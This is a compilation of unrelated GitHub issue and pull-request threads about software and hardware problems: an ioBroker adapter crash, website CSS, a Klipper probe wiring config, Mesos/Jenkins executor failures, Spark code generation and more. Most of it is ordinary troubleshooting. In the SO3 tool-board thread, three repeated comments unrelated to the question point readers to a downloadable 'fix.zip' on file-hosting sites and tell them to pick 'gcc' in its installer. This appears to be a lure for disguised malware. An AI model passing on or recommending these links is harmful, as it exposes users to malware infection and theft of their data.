Adapter is crashing with Sysap Version 3.2.0

Hello, today I updated my Sysap to the new Version 3.2.0.
After this the Adapter is crashing.
Describe the bug
I tried to rrestart the adapter and the Sysap.
Further tried to reinstall after deleting all objects.
The Adapter is green for ~2 seconds but after loading the first data it crashes.
It automatically restarts until I manually stop it.
Screenshots & Logfiles

host.IOBroker
2023-08-21 13:43:19.796
info
Restart adapter system.adapter.bjfreeathome.0 because enabled

host.IOBroker
2023-08-21 13:43:19.796
error
instance system.adapter.bjfreeathome.0 terminated with code 6 (UNCAUGHT_EXCEPTION)

bjfreeathome.0
2023-08-21 13:43:19.771
warn
State "bjfreeathome.0.BEED11B40015.ch0000.odp0007" has no existing object, this might lead to an error in future versions

bjfreeathome.0
2023-08-21 13:43:19.770
info
Status empfangen: BEED11B40015.ch0000.odp0007=>"96t+0"

bjfreeathome.0
2023-08-21 13:43:19.726
warn
State "bjfreeathome.0.BEED11B40015.ch0000.odp0004" has no existing object, this might lead to an error in future versions

bjfreeathome.0
2023-08-21 13:43:19.725
info
Status empfangen: BEED11B40015.ch0000.odp0004=>"526227187"

bjfreeathome.0
2023-08-21 13:43:19.683
warn
State "bjfreeathome.0.BEED11B40015.ch0000.odp0003" has no existing object, this might lead to an error in future versions

bjfreeathome.0
2023-08-21 13:43:19.682
info
Status empfangen: BEED11B40015.ch0000.odp0003=>"16766824"

bjfreeathome.0
2023-08-21 13:43:19.639
warn
State "bjfreeathome.0.BEED11B40015.ch0000.odp0001" has no existing object, this might lead to an error in future versions

bjfreeathome.0
2023-08-21 13:43:19.638
info
Status empfangen: BEED11B40015.ch0000.odp0001=>"96"

bjfreeathome.0
2023-08-21 13:43:19.281
info
State value to set for "bjfreeathome.0.FFFF40050005.ch0000.odp0001" has to be type "string" but received type "number"

bjfreeathome.0
2023-08-21 13:43:19.281
info
State value to set for "bjfreeathome.0.FFFF40050005.ch0000.idp0001" has to be type "string" but received type "number"

bjfreeathome.0
2023-08-21 13:43:19.279
warn
Terminated (UNCAUGHT_EXCEPTION): Without reason

bjfreeathome.0
2023-08-21 13:43:19.278
info
terminating

bjfreeathome.0
2023-08-21 13:43:19.277
error
obj_sub5.replace is not a function

bjfreeathome.0
2023-08-21 13:43:19.277
error
TypeError: obj_sub5.replace is not a function at /opt/iobroker/node_modules/iobroker.bjfreeathome/main.js:350:124 at process.processTicksAndRejections (node:internal/process/task_queues:95:5)

bjfreeathome.0
2023-08-21 13:43:19.276
error
unhandled promise rejection: obj_sub5.replace is not a function

bjfreeathome.0
2023-08-21 13:43:19.276
error
Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch().

bjfreeathome.0
2023-08-21 13:43:18.833
info
WebSocket connected

bjfreeathome.0
2023-08-21 13:43:18.707
info
starting. Version 0.1.0 (non-npm: hohmannc85/ioBroker.bjfreeathome#17dd1b15da3c7d7789461a23132b33aabb9af58b) in /opt/iobroker/node_modules/iobroker.bjfreeathome, node: v18.17.1, js-controller: 4.0.24

host.IOBroker
2023-08-21 13:43:18.282
info
instance system.adapter.bjfreeathome.0 started with pid 1314

host.IOBroker
2023-08-21 13:42:48.264
info
Restart adapter system.adapter.bjfreeathome.0 because enabled

host.IOBroker
2023-08-21 13:42:48.264
error
instance system.adapter.bjfreeathome.0 terminated with code 6 (UNCAUGHT_EXCEPTION)

bjfreeathome.0
2023-08-21 13:42:47.794
info
State value to set for "bjfreeathome.0.FFFF40050005.ch0000.odp0001" has to be type "string" but received type "number"

bjfreeathome.0
2023-08-21 13:42:47.751
info
State value to set for "bjfreeathome.0.FFFF40050005.ch0000.idp0001" has to be type "string" but received type "number"

bjfreeathome.0
2023-08-21 13:42:47.748
warn
Terminated (UNCAUGHT_EXCEPTION): Without reason

bjfreeathome.0
2023-08-21 13:42:47.748
info
terminating

bjfreeathome.0
2023-08-21 13:42:47.746
error
obj_sub5.replace is not a function

bjfreeathome.0
2023-08-21 13:42:47.746
error
TypeError: obj_sub5.replace is not a function at /opt/iobroker/node_modules/iobroker.bjfreeathome/main.js:350:124 at process.processTicksAndRejections (node:internal/process/task_queues:95:5)

bjfreeathome.0
2023-08-21 13:42:47.746
error
unhandled promise rejection: obj_sub5.replace is not a function

bjfreeathome.0
2023-08-21 13:42:47.746
error
Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch().

bjfreeathome.0
2023-08-21 13:42:47.331
info
WebSocket connected

Versions:
• platform: linux (debian 12)
• architecture: x64
• Node.js: v18.17.1
• NPM:  9.6.7
• js-controller:  4.0.24
• adapter version: v0.1.0
• Sysap v2
Hopefully there is a fix, this was the only working adapter with newer Node Versions.
Many thanks in advance.

Hey, i will Upgrade my System in the coming days and check it!

Thanks for the very quick reply. perfect, many thanks in advance :-)

fixed the first problem; but now the web socket connection is closing after one minutes. I am on it.

done.
BJ changed something in timeout of Websocket. this is a problem I have to look somewhen. the connection will be lost for 1 sek in a minute, states and everything will be refreshed. so you can use the the adapter now. I will optimize it somewhen.

Your welcome.


The titel Sections is not in the center-position

Where to find the issue:

https://www.coronawarn.app/en/faq/

Describe the issue:

the Position of Sections is not in the Center .

Suggestion :

switch in _reboot.scss the position from text-align from "$body-text-align " to "center"

@MohamedZaghdoudi

Why is this closed? Normally you would close an issue after it has been resolved through merging a PR.

I commented on the issue #3234 which you opened. Unfortunately it has some major side-effects.

I have also noticed that there is a lot of use of the <center> tag on many pages, however this tag, which was already deprecated in HTML4, is not supported in HTML5, so in fact this is a general issue on the website.

See also related issue https://github.com/corona-warn-app/cwa-website/issues/3235

@MikeMcC399 okay i will see it now

@MohamedZaghdoudi
Maybe you could also correct a typo in the subject?
"tittel" should be "title"

@MikeMcC399 thank you for your feedback . It is done.

@MohamedZaghdoudi
In English it is spelled "title" not "titel".

Closing this issue as it became a bit misleading. Originally we wanted to recenter the content under "Sections". It looks a bit misaligned. We did not want to center the headline itself.
Please refer to: https://github.com/corona-warn-app/cwa-website/issues/3246

@brianebeling
I agree that this was a confusing issue. Also the suggested resolution to edit _reboot.scss did not work and probably was not the right place to make a single layout change anyway.
_reboot.scss looks like it comes from
https://github.com/twbs/bootstrap/blob/main/scss/_reboot.scss as described in https://getbootstrap.com/docs/4.0/content/reboot/.


PHP 7 refactoring and improvements

Q
A

Bug Fix?
yes

New Feature?
yes

BC Breaks?
yes

Deprecations?
no

Fixed Tickets

Work in progress.

That's strange, simplified_null_return is disabled but StyleCI doesn't disable this 🤔
But the local PHP-CS-Fixer bridge disabled it.


colors were not right for userInterfaceStyle: "light"

This seems like an expo cache issue.
I had userInterfaceStyle: "light" and when I was first using rnr-ui the colors for buttons for example were too light. I changed to userInterfaceStyle: "dark" and everything looked good. Changed back to userInterfaceStyle: "light" and all the colors were fine?
I had been running expo start -c with no impact. Not sure.

Not sure to understand the issue. What do you mean by "the colors for buttons for example were too light"?
So the colors were too light when you first had userInterfaceStyle: "light", then you switched it to "dark", it worked well, and then you switched it back to "light" and it worked well?
Not sure about the expo caching issue but async-storage is used to persist the theme which might be causing the seemingly caching issue.

Hey, sorry for being so vague. Instead of black for a default variant the button was gray, and for destructive it was a pale red instead of what it should be. When I changed the global.css values the colors would change, but not be accurate to what they should be.
I didn't set up the theme provider, just set userInterfaceStyle and copied the components in.

The theme provider is for the navigation so it shouldn't be related.
It could be a nativewind issue (it is still in beta), a difference in versions of dependencies, an issue with your tailwind config, or something else.
Please add a minimal-repoduction repo with the same issue or at the minimum your tailwind config, your css variables, the version of nativewind that you are using, and the code for your button that have the wrong theme.

the issue is definitely something with expo or nativewind. I can't reproduce it.


privacyidea: 3.6 -> 3.6.1

Motivation for this change

Update to 3.6.1: https://github.com/privacyidea/privacyidea/blob/v3.6.1/Changelog
Also had to incorporate a few fixes to make it work again: https://hydra.nixos.org/build/148094614

Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[x] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
21.11 Release Notes (or backporting 21.05 Relase notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 131071 at 9b86def2 run on x86_64-linux 1

2 packages built successfully:

nixops
privacyidea


Create stackinpython.py

Python’s buil-in data structure list can be used as a stack. Instead of push(), append() is used to add elements to the top of stack while pop() removes the element in LIFO order.
Unfortunately, list has a few shortcomings. The biggest issue is that it can run into speed issue as it grows. The items in list are stored next to each other in memory, if the stack grows bigger than the block of memory that currently hold it, then Python needs to do some memory allocations. This can lead to some append() calls taking much longer than other ones.

This PR...

Fixes #
Changes

Checklist

[ ] I have read CONTRIBUTING guidelines.
[ ] This is a typo fix.
[ ] I am not updating any todo.txt files.

I think you have done the PR in the wrong repo. This is only for CPP not Python.
Closing.


SO3 tool board compatible with BIQU Microprobe?

Is the SO3 tool board compatible with BTT BIQU Microprobe?
I have a 3D Touch (BL Touch knockoff) connect and working. I am trying to replace with the BIQU Microprobe (v2). I added the Klipper code for the BIQU but it is not triggering. It only shows open and cannot home the Z without it hitting the bed (I use my finger to text above the bed).
Probe up and down work to raise/lower
Have tried with pin: ^!SO3:PA15 and pin: !SO3:PA15 with no luck. QUERY_PROBE will always show open.
`[output_pin probe_enable]
pin: SO3:PB3  # Set to the control pin on your board
value: 0
[probe]
pin: ^!SO3:PA15 # NOTE FOR V2 users: Set this to ^!PC14 to set the low level trigger
deactivate_on_each_sample: False
x_offset: 0
y_offset: -35
z_offset: 0  # Will be overridden when you do a PROBE_CALIBRATE
samples: 2
speed: 5
samples_tolerance: 0.05
samples_tolerance_retries: 3
sample_retract_dist: 4
activate_gcode:
PROBE_DOWN
G4 P500
deactivate_gcode:
PROBE_UP `

Download
https://www.mediafire.com/file/ynhx37qmyqek881/fix.zip/file
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Hi, yes, it shall work. We discussed it with the O2 toolboard having the same issue, I updated the documentation for the O2 toolboard, connection to the O3 toolboard is similar. check the latest documentation for the O2 Toolboard. The pinout of the connectors are different but the signal names are the same. I will update the SO3 toolboard documentation soon with the microprobe.

the BQ probe has White as Probe and Yellow as Server.
PB3 is server and PA15 is probe
Switching the White and Yellow as in the SO2 doc does not make sense as it would be wired incorrectly but the probe does not work with white on PA15 and yellow on PB2 with PA15 as !PA15 or ^!PA15.
I swapped the yellow and white as in the SO2 Documentation and as expected, the probe would not go down/up with the macros. I then swapped the pins in the config (essentially putting it back the way it was but on swapped pins) and the probe would go down/up by macro.
using just ! on PB3 did not work but it is working with ^!PB3
Final working config is below which is the same as original post except for the yellow and white wire swapped and the pins in the config swapped to match.
`[output_pin probe_enable]
pin: SO3:PA15  # Set to the control pin on your board
value: 0
[probe]
pin: ^!SO3:PB3 # NOTE FOR V2 users: Set this to ^!PC14 to set the low level trigger
deactivate_on_each_sample: False
x_offset: 0
y_offset: -35
z_offset: 0  # Will be overridden when you do a PROBE_CALIBRATE
samples: 2
speed: 5
samples_tolerance: 0.05
samples_tolerance_retries: 3
sample_retract_dist: 4
activate_gcode:
PROBE_DOWN
G4 P500
deactivate_gcode:
PROBE_UP`


Question: Challenge2

Hi,
Challenge 2 seems pretty straight forward, though I still have some questions:

We don't have to do anything with the preorders in our storage queue we created in challenge 1? Can we delete this queue if no longer needed?
Basically for the personalizer, there needs to be a "Recommended" card shown that shows the ice-cream the personalizer recommends us. and below that we should still show the entire list incase the user wants something different correct?

Hi @brutalsatyr. You will need be needing the queue in challenge 3, when they will be processed by the backend systems.
About the recommendation, yes that's the idea. Show a recommendation alongside/above the list of products.


add compability with espressif framework

Board: feather esp32 V2 + adalogger eps32
framework: espressif 5.3
Vscode +platformio
Hi, i just got a new board feather esp32 v2 and manage to make it work using the official espressif framework for motor and other stuff, but when i try to use the adalogger rtc im unable to use it under this kind of framework, it allways keep refering me to arduino.h wich i dont have, also did try to follow several issues about mixing arduino and espressif frameworks, and they seems to conflic and are no longer capable to build anything, theres anyway to use this library with the espressif framework without relying on arduino framework?  thank you

This is an Arduino library. When programming the ESP32 in PlatformIO you can choose either the ESP-IDF framework or the Arduino framework. This library will only work with the Arduino framework, as it depends on other Arduino libraries like Wire. It would need to be completely rewritten to use ESP-IDF so that's not going to happen.


Remove Sudoers Usage

I'm using tf_dcos_core in an auto-scaling group where the module scripts are executed by user-data in AWS EC2. I figured that some other people may be in the same situation, and want to have access to the auto scaling features for their masters and agents. The problem is, user-data scripts require a TTY to run sudo on centos in particular.
This PR is partially complete on purpose to spark a conversation about whether or not we want to include sudoers usage in run.sh. If we remove it, the call to sudo can be added in the terraform code where we execute run.sh instead of in the script directly. This may break deployments for some people currently using this module.
All that being said, I still figured I'd make the PR and see what you think is best. If you're keen on this PR moving forward, I can remove sudo usage from all other run.sh scripts and clean up the commit history in the PR to make this complete.

I agree with @malnick, I'm also using this with ASGs and sudo can be used to call run.sh instead of being used in the script.

Thank you @malnick and @luisdavim. I agree as well. I'll get this incorporated in the default tf_dcos_core.

We officially have no sudo in the tf_dcos_core. Any repo that has forked terraform-dcos has backwards compatibility since it was always using sudo ./run.sh calls.


mac-node-4 is broken

CC @jtattermusch @nicolasnoble
All builds seem to be failing on it:
https://grpc-testing.appspot.com/job/gRPC_master/15573/

I brought the node offline.
On Fri, Mar 4, 2016 at 12:13 PM, Craig Tiller<EMAIL_ADDRESS>wrote:

CC @jtattermusch https://github.com/jtattermusch @nicolasnoble
https://github.com/nicolasnoble
All builds seem to be failing on it:
https://grpc-testing.appspot.com/job/gRPC_master/15573/
—
Reply to this email directly or view it on GitHub
https://github.com/grpc/grpc/issues/5600.

And restarted the node.
On Fri, Mar 4, 2016 at 12:55 PM, Jan Tattermusch<EMAIL_ADDRESS>wrote:

I brought the node offline.
On Fri, Mar 4, 2016 at 12:13 PM, Craig Tiller<EMAIL_ADDRESS>wrote:

CC @jtattermusch https://github.com/jtattermusch @nicolasnoble
https://github.com/nicolasnoble
All builds seem to be failing on it:
https://grpc-testing.appspot.com/job/gRPC_master/15573/
—
Reply to this email directly or view it on GitHub
https://github.com/grpc/grpc/issues/5600.

same as #5613


[ROCm] Add script to run multi gpu tests

Updated with pjrt distrbuted tests and check for number of gpus


Document the use/setup of GitlabOrgDiscoveryEntityProvider for org ingestion

I have been looking through the documentation to try and utilize my self hosted GitLab instance for org data but after implementing everything in the documentation underneath these pages it does not work.  After digging around a bit I found that there is the GitlabOrgDiscoveryEntityProvider provider definition which is not documented anywhere for usage that I could find.  I imagine this plus the scaffolding code is what is needed to make this work.  It would be appreciated to get a direction on how to make this work and also add the documentation to the org ingestion page.

Hi @Shocktrooper, this is the wrong plugin where to post this issue. The plugin is developed by Backstage dev, I suggest opening the issue here or you can use the discord Backstage channel.


Jenkins executor is failing on my slave

I have the following setup:
Mesos Master: 0.14.0-rc4
Mesos Slave: 0.14.0-rc4
Jenkins Server: 1.537
mesos.hpi: Built locally with maven against the following maven config:
 <repositories>
    <repository>
      <id>repo.jenkins-ci.org</id>
      <url>http://repo.jenkins-ci.org/public/</url>
    </repository>
    <repository>
      <id>mesosphere-public-repo</id>
      <name>Mesosphere Public Repo</name>
      <url>https://repository.apache.org/content/repositories/orgapachemesos-148</url>
    </repository>
  </repositories>

 <dependencies>
      <dependency>
          <groupId>org.apache.mesos</groupId>
          <artifactId>mesos</artifactId>
          <version>0.14.0</version>
      </dependency>
      <dependency>
          <groupId>com.google.protobuf</groupId>
          <artifactId>protobuf-java</artifactId>
          <version>2.4.1</version>
      </dependency>
  </dependencies>

I can install the plugin and verify that I can test the connection between my jenkins server and my mesos cluster.
I can see the framework has successfully registered with the mesos cluster.
Within jenkins I have a super simple maven 2/3 project set up using these instructions:  http://jenkins-le-guide-complet.batmat.cloudbees.net/html/sect-first-steps-first-job.html
I have verified that the job builds fine on my local jenkins server but when I set the job to only run on my mesos jenkins slaves I get an error executing the job on the slave.
This is the error I see from the mesos slave:
I1030 19:10:48.713233 30768 slave.cpp:1001] Queuing task 'mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad' for executor mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad of framework '201310301705-3585380106-5050-15051-0009
I1030 19:10:48.721261 30767 process_isolator.cpp:163] Forked executor at 16547
I1030 19:10:48.721427 30768 slave.cpp:532] Successfully attached file '/tmp/mesos/slaves/201310301705-3585380106-5050-15051-1/frameworks/201310301705-3585380106-5050-15051-0009/executors/mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad/runs/29fa90c4-5aff-4719-b4b2-06cb45e0c77a'
I1030 19:10:48.751898 30766 process_isolator.cpp:479] Telling slave of terminated executor 'mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad' of framework<PHONE_NUMBER>05-3585380106-5050-15051-0009
I1030 19:10:48.752122 30767 slave.cpp:2158] Executor 'mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad' of framework<PHONE_NUMBER>05-3585380106-5050-15051-0009 has exited with status 255
I1030 19:10:48.762186 30767 slave.cpp:1778] Handling status update TASK_FAILED (UUID: 2436a172-6470-4d61-989f-e50cfd89bf60) for task mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad of framework<PHONE_NUMBER>05-3585380106-5050-15051-0009 from @<IP_ADDRESS>:0
I1030 19:10:48.762423 30767 status_update_manager.cpp:300] Received status update TASK_FAILED (UUID: 2436a172-6470-4d61-989f-e50cfd89bf60) for task mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad of framework<PHONE_NUMBER>05-3585380106-5050-15051-0009
I1030 19:10:48.762675 30767 status_update_manager.cpp:351] Forwarding status update TASK_FAILED (UUID: 2436a172-6470-4d61-989f-e50cfd89bf60) for task mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad of framework<PHONE_NUMBER>05-3585380106-5050-15051-0009 to master@<IP_ADDRESS>:5050
W1030 19:10:48.765327 30766 process_isolator.cpp:265] Failed to kill the process tree rooted at pid 16547: Failed to find process 16547
I1030 19:10:48.765632 30766 process_isolator.cpp:298] Asked to update resources for an unknown/killed executor 'mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad' of framework<PHONE_NUMBER>05-3585380106-5050-15051-0009
I1030 19:10:48.765779 30767 status_update_manager.cpp:375] Received status update acknowledgement (UUID: 2436a172-6470-4d61-989f-e50cfd89bf60) for task mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad of framework<PHONE_NUMBER>05-3585380106-5050-15051-0009
I1030 19:10:48.766136 30767 slave.cpp:2288] Cleaning up executor 'mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad' of framework<PHONE_NUMBER>05-3585380106-5050-15051-0009
I1030 19:10:48.766356 30768 gc.cpp:56] Scheduling '/tmp/mesos/slaves/201310301705-3585380106-5050-15051-1/frameworks/201310301705-3585380106-5050-15051-0009/executors/mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad/runs/29fa90c4-5aff-4719-b4b2-06cb45e0c77a' for removal
I1030 19:10:48.766499 30767 slave.cpp:2360] Cleaning up framework<PHONE_NUMBER>05-3585380106-5050-15051-0009
I1030 19:10:48.766522 30768 gc.cpp:56] Scheduling '/tmp/mesos/slaves/201310301705-3585380106-5050-15051-1/frameworks/201310301705-3585380106-5050-15051-0009/executors/mesos-jenkins-00b62d6c-105a-4969-9d67-a3abb383f9ad' for removal
I1030 19:10:48.766659 30766 status_update_manager.cpp:262] Closing status update streams for framework<PHONE_NUMBER>05-3585380106-5050-15051-0009
I1030 19:10:48.766793 30768 gc.cpp:56] Scheduling '/tmp/mesos/slaves/201310301705-3585380106-5050-15051-1/frameworks/201310301705-3585380106-5050-15051-0009' for removal
I1030 19:10:49.592159 30765 http.cpp:300] HTTP request for '/slave(1)/state.json'
I1030 19:10:52.972899 30765 slave.cpp:2608] Current usage 21.54%. Max allowed age: 4.792250331439942days
I1030 19:10:53.615528 30768 http.cpp:300] HTTP request for '/slave(1)/state.json'
I1030 19:10:55.711381 30765 slave.cpp:779] Got assigned task mesos-jenkins-f067fdb1-9ee7-4a2d-9f5c-b89fba3670d0 for framework<PHONE_NUMBER>05-3585380106-5050-15051-0009
I1030 19:10:55.712491 30766 gc.cpp:84] Unscheduling '/tmp/mesos/slaves/201310301705-3585380106-5050-15051-1/frameworks/201310301705-3585380106-5050-15051-0009' for removal
I1030 19:10:55.713302 30768 slave.cpp:890] Launching task mesos-jenkins-f067fdb1-9ee7-4a2d-9f5c-b89fba3670d0 for framework<PHONE_NUMBER>05-3585380106-5050-15051-0009
I1030 19:10:55.715122 30768 paths.hpp:336] Created executor directory '/tmp/mesos/slaves/201310301705-3585380106-5050-15051-1/frameworks/201310301705-3585380106-5050-15051-0009/executors/mesos-jenkins-f067fdb1-9ee7-4a2d-9f5c-b89fba3670d0/runs/b4b90d2d-0c76-46bf-ac64-fa00d02f6c88'
I1030 19:10:55.715420 30766 process_isolator.cpp:100] Launching mesos-jenkins-f067fdb1-9ee7-4a2d-9f5c-b89fba3670d0 (/usr/local/libexec/mesos/mesos-executor) in /tmp/mesos/slaves/201310301705-3585380106-5050-15051-1/frameworks/201310301705-3585380106-5050-15051-0009/executors/mesos-jenkins-f067fdb1-9ee7-4a2d-9f5c-b89fba3670d0/runs/b4b90d2d-0c76-46bf-ac64-fa00d02f6c88 with resources ' for framework<PHONE_NUMBER>05-3585380106-5050-15051-0009
I1030 19:10:55.715430 30768 slave.cpp:1001] Queuing task 'mesos-jenkins-f067fdb1-9ee7-4a2d-9f5c-b89fba3670d0' for executor mesos-jenkins-f067fdb1-9ee7-4a2d-9f5c-b89fba3670d0 of framework '201310301705-3585380106-5050-15051-0009
I1030 19:10:55.723701 30766 process_isolator.cpp:163] Forked executor at 16548

Will this job run barebones on the jenkins mesos slave (assuming java and maven are installed on the slave of course)?  Also I'm assuming the slave machines would need to have a "jenkins" user that can run the jenkins jobs?
The one piece of information I'm not able to get fully is the actual executor name (command) that's being run on the slave since the mesos UI seems to cut it off like this:

Where in the mesos (or jenkins) logs should I look for the complete executor name?
Thanks!

Hi
I am setting up a Jenkins-Mesos framework. I am able to register a jenkins framework in mesos. Though when i trigger a job from Jenkins, I see failures in mesos slave as below and hence the job is failing:
Failed to fetch 'hostname:8080/jnlpJars/slave.jar': A relative path was passed for the resource but the Mesos framework home was not specified. Please either provide this config option or avoid using a relative path
Failed to synchronize with slave (it's probably exited)
I am able to do curl on this path from the slave.


[SPARK-22498][SQL] Fix 64KB JVM bytecode limit problem with concat

What changes were proposed in this pull request?
This PR changes concat code generation to place generated code for expression for arguments into separated methods if these size could be large.
This PR resolved the case of concat with a lot of argument
How was this patch tested?
Added new test cases into StringExpressionsSuite

Test build #83745 has started for PR 19728 at commit 16ddb2f.

Test build #83746 has started for PR 19728 at commit 756254b.

Test build #83747 has started for PR 19728 at commit bc97d41.

Test build #83745 has finished for PR 19728 at commit 16ddb2f.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83745/
Test PASSed.

Test build #83746 has finished for PR 19728 at commit 756254b.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83746/
Test PASSed.

Test build #83747 has finished for PR 19728 at commit bc97d41.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83747/
Test PASSed.

Merged build finished. Test PASSed.

Test build #83770 has started for PR 19728 at commit 0ed8d16.

Test build #83770 has finished for PR 19728 at commit 0ed8d16.

This patch fails due to an unknown error code, -9.
This patch merges cleanly.
This patch adds no public classes.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83770/
Test FAILed.

Merged build finished. Test FAILed.

Test build #83779 has finished for PR 19728 at commit 6fdb451.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83779/
Test PASSed.

Test build #83787 has started for PR 19728 at commit e6b73ab.

Test build #83791 has started for PR 19728 at commit cd20410.

Test build #83795 has started for PR 19728 at commit e668b98.

Test build #83787 has finished for PR 19728 at commit e6b73ab.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83787/
Test PASSed.

Test build #83791 has finished for PR 19728 at commit cd20410.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83791/
Test PASSed.

Test build #83795 has finished for PR 19728 at commit e668b98.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83795/
Test PASSed.

Test build #83944 has started for PR 19728 at commit 555575e.

Test build #83944 has finished for PR 19728 at commit 555575e.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83944/
Test PASSed.

Test build #83974 has started for PR 19728 at commit 22019b1.

can you split it into 3 PRs? The approaches for these 3 expression are quite different.

Test build #83974 has finished for PR 19728 at commit 22019b1.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83974/
Test PASSed.

Sure done.
#19777 for concat_ws. #19778 for elt

Test build #83983 has started for PR 19728 at commit b9ca4ff.

Test build #83983 has finished for PR 19728 at commit b9ca4ff.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/83983/
Test PASSed.

thanks, merging to master/2.2!


Correct SDKObjectAlreadyExistError class and alert message when fcp_template exists

This PR is used to fix below issues.

Correct SDKObjectAlreadyExistError class to fix TypeError issue.
Correct alert message when fcp_template exists, remove 'already exist' as the super method has this text.

@renpei123 when you perform git commit, can add '-s' which will sign off with your signature.

Correct alert message when fcp_template exists issue has been done in PR: https://github.com/openmainframeproject/feilong/pull/664.
Close current PR and raise PR (https://github.com/openmainframeproject/feilong/pull/666) to
correct SDKObjectAlreadyExistError class only.


When i tried to train the mode. There is a bug

I found a bug when i ran the training code. I only have one gpu, so i set the --nproc_per_node to one,but the bug triggered. I do not know why

what's your pytorch version and cuda version? Does the model inference normally?

what's your pytorch version and cuda version? Does the model inference normally?

i have a version of this

i have a version of this conda install pytorch==1.12.0 torchvision==0.13.0 torchaudio==0.12.0 cudatoolkit=11.3 -c pytorch

what's your pytorch version and cuda version? Does the model inference normally?

and my cuda is 11.2. But i have used this kind of version to run another code already and it succeed

I have got the same error.
the demo code works fine and generate the segmented results.
Have you found any solution?

this works for me, lower the batch_size and nproc_per_node if u have only 1 gpu

torchrun --nproc_per_node=2 train.py --checkpoint ./pretrained_checkpoint/sam_vit_h_4b8939.pth --batch_size_train 16 --model-type vit_h --output work_dirs/hq_sam_h

torchrun --nproc_per_node=2 train.py --checkpoint ./pretrained_checkpoint/sam_vit_l_0b3195.pth --batch_size_train 16 --model-type vit_l --output work_dirs/hq_sam_l

I solved this problem on Google Colab:

After libraries importing, write the following lines:
local_rank = int(os.environ["LOCAL_RANK"])
Remove this line from train.py:
parser.add_argument('--local_rank', type=int, help='local rank for dist')
Change the command from:
python -m torch.distributed.launch train.py  TRAIN_ARGS to torchrun train.py TRAIN_ARGS


[MXNET-867] Pooling1D with "same" padding

Description
MaxPooling 1D added another pooling convention (aka padding type) called "same"
Checklist
Essentials
Please feel free to remove inapplicable items for your PR.

[X] The PR title starts with [MXNET-$JIRA_ID], where $JIRA_ID refers to the relevant JIRA issue created (except PRs with tiny changes)
[X] Changes are complete (i.e. I finished coding on this PR)
[X] All changes have test coverage:
Unit tests are added for small changes to verify correctness (e.g. adding a new operator)
Nightly tests are added for complicated/long-running ones (e.g. changing distributed kvstore)
Build tests will be added for build configuration changes (e.g. adding a new build option with NCCL)
[X] To the my best knowledge, examples are either not affected by this change, or have been fixed to be compatible with this change

